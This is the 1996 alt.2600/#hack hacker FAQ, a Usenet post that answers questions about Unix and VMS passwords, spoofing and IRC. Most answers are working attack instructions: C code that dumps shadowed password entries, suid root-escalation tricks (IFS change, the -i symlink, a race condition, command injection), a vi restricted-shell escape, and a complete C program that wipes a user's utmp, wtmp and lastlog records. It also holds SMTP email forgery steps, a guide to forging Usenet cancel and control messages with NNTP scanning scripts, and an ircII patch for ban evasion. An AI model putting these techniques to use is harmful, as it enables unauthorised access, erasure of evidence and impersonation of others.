2600faq.txt - alt.2600 FAQ, Beta .013 - Part 1/1

Subject: alt.2600 FAQ, Beta .013 - Part 1/1
Date: 23 Apr 1996 17:47:21 -0000
From: will@gnu.ai.mit.edu (Will Spencer)
Reply-To: will@gnu.ai.mit.edu (FAQ Comments address)
Organization: Organization is for losers.
Newsgroups: alt.2600,alt.answers,news.answers
Followup-To: alt.2600

Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 1996/01/07
Version: Beta .013

        Welcome to Beta .013 of the alt.2600/#hack FAQ!

        The purpose of this FAQ is to give you a general introduction
        to the topics covered in alt.2600 and #hack.  No document will
        make you a hacker.

        If you have a question regarding any of the topics covered in
        the FAQ, please direct it to alt.2600.  Please do not e-mail me
        with them, I do not have time to respond to each request
        personally.

        If your copy of the alt.2600/#hack FAQ does not end with the
        letters EOT on a line by themselves, you do not have the entire
        FAQ.

        If you do not have the entire FAQ, retrieve it from one of
        these sites:

        Get it on FTP at:
        rahul.net         /pub/lps/sysadmin/
        rtfm.mit.edu      /pub/usenet-by-group/alt.2600/
        clark.net         /pub/jcase/
        mirrors.aol.com   /pub/rtfm/usenet-by-group/alt.2600/
        ftp.winternet.com /users/nitehwk/phreak/

        Get it on the World Wide Web at:
        www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html

        Get it on my BBS:
        Hacker's Haven (303)343-4053



                                 The

                        alt.2600/#Hack F.A.Q.

                          Beta Revision .013

                   A TNO Communications Production

                                 by
                               Voyager
                         will@gnu.ai.mit.edu

                              Sysop of
                           Hacker's Haven
                           (303)343-4053

                          Greets go out to:

        A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve,
        DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit,
        Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider,
        Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora,
        ThePublic, Tomes, and TheSaint.

           We work in the dark
           We do what we can
           We give what we have
           Our doubt is our passion, and our passion is our task
           The rest is the madness of art.

                     -- Henry James

           When I picture a perfect reader, I always picture a
           monster of courage and curiosity, also something
           supple, cunning, cautious, a born adventurer and
           discoverer...

                     -- Friedreich Nietzsche

Section A: Computers

  01. How do I access the password file under Unix?
  02. How do I crack Unix passwords?
  03. What is password shadowing?
  04. Where can I find the password file if it's shadowed?
  05. What is NIS/yp?
  06. What are those weird characters after the comma in my passwd file?
  07. How do I access the password file under VMS?
  08. How do I crack VMS passwords?
  09. What can be logged on a VMS system?
  10. What privileges are available on a VMS system?
  11. How do I break out of a restricted shell?
  12. How do I gain root from a suid script or program?
  13. How do I erase my presence from the system logs?
U 14. How do I send fakemail?
  15. How do I fake posts and control messages to UseNet?
  16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
  18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
  20. What is an Internet Outdial?
  21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
  24. What port is XXX on?
  25. What is a trojan/worm/virus/logic bomb?
  26. How can I protect myself from viruses and such?
  27. Where can I get more information about viruses?
  28. What is Cryptoxxxxxxx?
  29. What is PGP?
  30. What is Tempest?
  31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
  33. How do I defeat copy protection?
  34. What is 127.0.0.1?
  35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
  37. How do I defeat a BIOS password?
N 38. What is the password for ?
N 39. Is there any hope of a decompiler that would convert an executable
      program into C/C++ code?
N 40. How does the MS-Windows password encryption work?

Section B: Telephony

U 01. What is a Red Box?
  02. How do I build a Red Box?
  03. Where can I get a 6.5536Mhz crystal?
  04. Which payphones will a Red Box work on?
  05. How do I make local calls with a Red Box?
  06. What is a Blue Box?
  07. Do Blue Boxes still work?
  08. What is a Black Box?
  09. What do all the colored boxes do?
  10. What is an ANAC number?
U 11. What is the ANAC number for my area?
  12. What is a ringback number?
U 13. What is the ringback number for my area?
  14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
  17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
  22. What is scanning?
  23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
  25. What are the DTMF frequencies?
  26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
  28. What frequencies do cordless phones operate on?
  29. What is Caller-ID?
  30. How do I block Caller-ID?
  31. What is a PBX?
  32. What is a VMB?
  33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?

Section C: Cellular

N 01. What is an MTSO?
N 02. What is a NAM?
N 03. What is an ESN?
N 04. What is an MIN?
N 05. What is a SCN?
N 06. What is a SIDH?
N 07. What are the forward/reverse channels?

Section D: Resources

  01. What are some ftp sites of interest to hackers?
  02. What are some fsp sites of interest to hackers?
U 03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
U 05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
  07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
U 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
U 12. What are some print magazines of interest to hackers?
U 13. What are some e-zines of interest to hackers?
U 14. What are some organizations of interest to hackers?
U 15. What are some radio programs of interest to hackers?
N 16. What are other FAQ's of interest to hackers?
  17. Where can I purchase a magnetic stripe encoder/decoder?
  18. What are the rainbow books and how can I get them?

Section E: 2600

  01. What is alt.2600?
  02. What does "2600" mean?
  03. Are there on-line versions of 2600 available?
  04. I can't find 2600 at any bookstores.  What can I do?
  05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

Section F: Miscellaneous

  01. What does XXX stand for?
  02. How do I determine if I have a valid credit card number?
U 03. What is the layout of data on magnetic stripe cards?
  04. What are the ethics of hacking?
  05. Where can I get a copy of the alt.2600/#hack FAQ?

U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ

Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd.  On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere.  An entry in the password file consists of seven colon
delimited fields:

Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell

]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Broken down, this passwd file line shows:

          Username: will
Encrypted password: 5fg63fhD3d5gh
       User number: 9406
      Group Number: 12
 GECOS Information: Will Spencer
    Home directory: /home/fsg/will
             Shell: /bin/bash

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted.  Unix
passwords are encrypted with a one way function.  The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists.  Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett.  For PC-DOS, the best package to use is currently
CrackerJack.  CrackerJack is available via ftp from clark.net
/pub/jcase/.

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include 
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

04. Where can I find the password file if it's shadowed?

Unix                  Path                            Token
-----------------------------------------------------------------
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files//
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files//
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).  The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.  NIS is not designed to promote system security.  If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data.  Password aging forces the
user to change passwords after a System Administrator specified period
of time.  Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Note the comma in the encrypted password field.  The characters after
the comma are used by the password aging mechanism.

]
] Password aging characters from above example:
]
] M.z8
]

The four characters are interpreted as follows:

  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in.  The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.  Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data.  An account with an expired password can be su'd to
without being forced to change the password.

                        Password Aging Codes
+------------------------------------------------------------------------+
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |
+------------------------------------------------------------------------+

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT.  However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation.  To determine the status of the accounting on your system
use the command SHOW ACCOUNTING.  System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security.  To enable accounting:

$ SET ACCOUNTING  [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT.  This also is used to close
the current log file and open a new one with a higher version
number.

The following activities can be logged:

        BATCH                   Termination of a batch job
        DETACHED                Termination of a detached job
        IMAGE                   Image execution
        INTERACTIVE             Interactive job termination
        LOGIN_FAILURE           Login failures
        MESSAGE                 Users messages
        NETWORK                 Network job termination
        PRINT                   Print Jobs
        PROCESS                 Any terminated process
        SUBPROCESS              Termination of  a subprocess

To enable security auditing use:

        $ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges.  You can determine your security auditing configuration
using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following
activities:

        ACL                     Access Control List requested events
        AUTHORIZATION           Modification to the system user
                                authorization file  SYS$SYSTEM:SYSUAF.DAT
        BREAKIN                 Attempted Break-ins
        FILE_ACCESS             File or global section access
        INSTALL                 Occurrence of any INSTALL operations
        LOGFAILURE              Any login failures
        LOGIN                   A login attempt from various sources
        LOGOUT                  Logouts
        MOUNT                   Mount or dismount requests

10. What privileges are available on a VMS system?

ACNT            Allows you to restrain accounting messages
ALLSPOOL        Allows you to allocate spooled devices
ALTPRI          Allot Priority.  This allows you to set any priority
                value
BUGCHK          Allows you make bug check error log entries
BYPASS          Enables you to disregard protections
CMEXEC/
CMKRNL          Change to executive or kernel mode.  These privileges
                allow a process to execute optional routines with KERNEL
                and EXECUTIVE access modes. CMKRNL is the most powerful
                privilege on VMS as anything protected can be accessed
                if you have this privilege.  You must have these
                privileges to gain access to the kernel data structures
                directly.
DETACH          This privilege allow you to create detached processes of
                arbitrary UICs
DIAGNOSE        With this privilege you can diagnose devices
EXQUOTA         Allows you to exceed your disk quota
GROUP           This privilege grants you permission to  affect other
                processes in the same rank
GRPNAM          Allows you to insert group logical names into the group
                logical names table.
GRPPRV          Enables you to access system group objects through
                system protection field
LOG_IO          Allows you to issue logical input output requests
MOUNT           May execute the mount function
NETMBX          Allows you to create network connections
OPER            Allows you to perform operator functions
PFNMAP          Allows you to map to specific physical pages
PHY_IO          Allows you to perform physical input output requests
PRMCEB          Can create permanent common event clusters
PRMGBL          Allows you to create permanent global sections
PRMMBX          Allows you to create permanent mailboxes
PSWAPM          Allows you to change a processes swap mode
READALL         Allows you read access to everything
SECURITY        Enables you to perform security  related functions
SETPRV          Enable all privileges
SHARE           Allows you to access devices allocated to other users.
                This is used to assign system mailboxes.
SHMEM           Enables you to modify objects in shared memory
SYSGBL          Allows you to create system wide permanent global
                sections
SYSLCK          Allows you to lock system wide resources
SYSNAM          Allows you to insert in system logical names in the
                names table.
SYSPRV          If a process holds this privilege then it is the same as
                a process holding the system user identification code.
TMPMBX          Allows you create temporary mailboxes
VOLPRO          Enables you to override volume protection
WORLD           When this is set you can affect other processes in the
                world

To determine what privileges your process is running with issue the command:

$ show proc/priv


11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function.  A good example is vi.  Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.  IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program.  Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.  This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.

Example:

suidprog ; id

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

Example:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from.  Enter your message as in this example:

 HELO bellcore.com
 MAIL FROM:voyager@bellcore.com
 RCPT TO:president@whitehouse.gov
 DATA
 From: voyager@bellcore.com (The Voyager)
 To: president@whitehouse.gov
 Subject: Clipper
 Reply-To: voyager@bellcore.com

        Please discontinue your silly Clipper initiative.
 .
 QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work.  Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."

15. How do I fake posts and control messages to UseNet?

 From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
 Subject: FAQ: Better living through forgery
 Date: 19 Mar 1995 02:37:09 GMT

        Anonymous netnews without "anonymous" remailers

 Inspired by the recent "NetNews Judges-L" events, this file has been
 updated to cover forging control messages, so you can do your own
 article canceling and create and destroy your own newsgroups.

 Save any news article to a file.  We'll call it "hak" in this example.

 Edit "hak", and remove any header lines of the form

         From some!random!path!user   (note: "From ", not "From: " !!)
         Article:
         Lines:
         Xref:

 Shorten the Path: header down to its LAST two or three "bangized"
 components. This is to make the article look like it was posted from
 where it really was posted, and originally hit the net at or near the
 host you send it to.  Or you can construct a completely new Path: line
 to reflect your assumed alias.

 Make some change to the Message-ID: field, that isn't likely to be
 duplicated anywhere.  This is usually best done by adding a couple of
 random characters to the part before the @, since news posting programs
 generally use a fixed-length field to generate these IDs.

 Change the other headers to say what you like -- From:, Newsgroups:,
 Sender:, etc.  Replace the original message text with your message.  If
 you are posting to a moderated group or posting a control message,
 remember to put in an Approved: header to bypass the moderation
 mechanism.

 To specifically cancel someone else's article, you need its message-ID.
 Your message headers, in addition to what's already there, should also
 contain the following with that message-ID in it.  This makes it a
 "control message". NOTE: control messages generally require an
 Approved: header as well, so you should add one.

 Subject: cmsg cancel 
 Control: cancel 
 Approved: luser@twits.site.com

 Newsgroups are created and destroyed with control messages, too.  If
 you wanted to create, for instance, comp.misc.microsoft.sucks, your
 control headers would look like

 Subject: cmsg newgroup comp.misc.microsoft.sucks
 Control: newgroup comp.misc.microsoft.sucks

 Add on the string "moderated" at the end of these if you want the group
 to be "moderated with no moderator" as with alt.hackers.  Somewhere in
 the body of your message, you should include the following text,
 changed with the description of the group you're creating:

 For your newsgroups file:
 comp.misc.microsoft.sucks               We don't do windows

 To remove a group, substitute "rmgroup" for "newgroup" in the header
 lines above.  Keep in mind that most sites run all "rmgroup" requests
 through a human news-master, who may or may not decide to honor it.
 Group creation is more likely to be automatic than deletion at most
 installations.  Any newsgroup changes are more likely to take effect if
 the come from me, since my name is hardwired into many of the NNTP
 control scripts, so using the From: and Approved: headers from this
 posting is recommended.

 Save your changed article, check it to make sure it contains NO
 reference to yourself or your own site, and send it to your favorite
 NNTP server that permits transfers via the IHAVE command, using the
 following script:

 =======================
 #! /bin/sh
 ## Post an article via IHAVE.
 ## args: filename server

  if test "$2" = "" ; then
   echo usage: $0 filename server
   exit 1
 fi
 if test ! -f $1 ; then
   echo $1: not found
   exit 1
 fi

 # suck msg-id out of headers, keep the brackets
 msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
   sed 's/.*-[Ii][Dd]: //'`
 echo $msgid

 ( sleep 5
   echo IHAVE $msgid
   sleep 5
   cat $1
   sleep 1
    echo "."
   sleep 1
   echo QUIT ) | telnet $2 119
 =======================

 If your article doesn't appear in a day or two, try a different server.
 They are easy to find.  Here's a script that will break a large file
 full of saved netnews into a list of hosts to try.  Edit the output of
 this if you want, to remove obvious peoples' names and other trash.

 =======================
 #! /bin/sh
 FGV='fgrep -i -v'
 egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
 /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
 =======================

 Once you have your host list, feed it to the following script.

  =======================
 #! /bin/sh

 while read xx ; do
 if test "$xx" = "" ; then continue;
 fi
 echo === $xx
 ( echo open $xx 119
   sleep 5
   echo ihave IamSOk00l@podunk.edu
   sleep 4
   echo .
   echo quit
   sleep 1
   echo quit
 ) | telnet
 done
 =======================

 If the above script is called "findem" and you're using csh, you should do

         findem < list >& outfile

 so that ALL output from telnet is captured.  This takes a long time,
 but when it finishes, edit "outfile" and look for occurrences of "335".
 These mark answers from servers that might be willing to accept an
 article.  This isn't a completely reliable indication, since some
 servers respond with acceptance and later drop articles.  Try a given
 server with a slightly modified repeat of someone else's message, and
 see if it eventually appears.

 Sometimes the telnets get into an odd state, and freeze, particularly
 when a host is refusing NNTP connections.  If you manually kill these
 hung telnet processes but not the main script, the script will continue
 on.  In other words, you may have to monitor the finding script a
 little while it is running.

 You will notice other servers that don't necessarily take an IHAVE, but
 say "posting ok".  You can probably do regular POSTS through these, but
 they will add an "NNTP-Posting-Host: " header containing the machine
 YOU came from and are therefore unsuitable for completely anonymous
 use.

 PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.

16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on.  When
that server reconnects to the net, you will have ChanOp on the real
channel.  If you have ServerOp on a server, you can cause it to split
on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
      If you know who originally wrote this, please e-mail me.

 -- BEGIN QUOTED TEXT --

Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER.  This new command
can be used as follows:

 *   /NEWUSER  [new_IRCNAME]
 *        is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channel you
 *     are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact.  This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1
    }
  }

Or just to be annoying... a /BE  alias that will assume a
person's username and IRCNAME:

alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
    }
  whois $0
  }

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).  Cd into the
source directory and edit the file "edit.c".  Make the following
changes:

Locate the line which reads:
extern  void    server();

Insert the following line after it:
static  void    newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
        "NAMES",        "NAMES",        funny_stuff,            0,

Insert the following line after it:
        "NEWUSER",      NULL,           newuser,                0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

/*
 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER  [new_IRCNAME]
 *        is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.
 */

static void    newuser(command, args)
char    *command,
        *args;
{
        char    *newuname;

        if (newuname = next_arg(args, &args))
        {
                strmcpy(username, newuname, NAME_LEN);
                if (*args)
                        strmcpy(realname, args, REALNAME_LEN);
                say("Reconnecting to server...");
                close_server(from_server);
                if (connect_to_server(server_list[from_server].name,
                      server_list[from_server].port, primary_server) != -1)
                {
                        change_server_channels(primary_server, from_server);
                        set_window_server(-1, from_server, 1);
                }
                else
                        say("Unable to reconnect. Use /SERVER to connect.");
        }
        else
                say("You must specify a username and, optionally, an IRCNAME");
}

 -- END QUOTED TEXT --

/NEWUSER will not hide you from a CTCP query.  To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
***************
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
***************
*** 350,354 ****
!               if (pwd = getpwuid(uid))
                {
                        char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                {
                        char    *tmp;

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are.  One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

    -F   Causes directories to be marked with a trailing ``/'',
         executable files to be marked with a trailing ``*'', and
         symbolic links to be marked with a trailing ``@'' symbol.

    -q   Forces printing of non-graphic characters in filenames as the
         character ``?''.

    -b   Forces printing of non-graphic characters in the \ddd
         notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine.  Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

    -v  Causes non-printing characters (with the exception of tabs,
        newlines, and form feeds) to be displayed.  Control characters
        are displayed as ^X (x), where X is the key pressed with
        the  key (for example, m is displayed as ^M).  The
         character (octal 0177) is printed as ^?.  Non-ASCII
        characters (with the high bit set) are printed as M -x, where
        x is the character specified by the seven low order bits.

    -t  Causes tabs to be printed as ^I and form feeds as ^L.  This
        option is ignored if the -v option is not specified.

    -e  Causes a ``$'' character to be printed at the end of each line
        (prior to the new-line).  This option is ignored if the -v
        option is not set.

If the directory name includes a  or a  you will need to
enclose the entire directory name in quotes.  Example:

cd ".."

On an IBM-PC, you may enter these special characters by holding down
the  key and entering the decimal value of the special character
on your numeric keypad.  When you release the  key, the special
character should appear on your screen.  An ASCII chart can be very
helpful.

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

From the man page for stty:

    Control assignments

    control-character C
                      Sets control-character to C, where control-character is
                      erase, kill, intr (interrupt), quit, eof, eol, swtch
                      (switch), start, stop or susp.

                      start and stop are available as possible control char-
                      acters for the control-character C assignment.

                      If C is preceded by a caret (^) (escaped from the
                      shell), then the value used is the corresponding con-
                      trol character (for example, ^D is a d; ^? is
                      interpreted as DELETE and ^- is interpreted as unde-
                      fined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you.  When your software sees a
packet that fits certain criteria, it logs it to a file.  The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp           */
FreeBSD         tcpdump            /* Available via anonymous ftp at        */
                                   /* gatekeeper.dec.com
                    /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp at        */
                                   /* gatekeeper.dec.com
                             /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp           */
DEC Ultrix      tcpdump            /* Available via anonymous ftp           */
HP/UX           nettl  (monitor)
              & netfmt (display)
                nfswatch           /* Available via anonymous ftp           */
Linux           tcpdump            /* Available via anonymous ftp at        */
                                   /* sunsite.unc.edu                       */
                                   /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp           */
                Etherman
                tcpdump            /* Available via anonymous ftp           */
Solaris         snoop
                tcpdump
SunOS           etherfind
                nfswatch           /* Available via anonymous ftp           */
                tcpdump            /* Available via anonymous ftp           */
DOS             ETHLOAD            /* Available via anonymous ftp as        */
                                   /* ethld104.zip                          */
                The Gobbler        /* Available via anonymous ftp           */
                LanPatrol
                LanWatch
                Netmon
                Netwatch
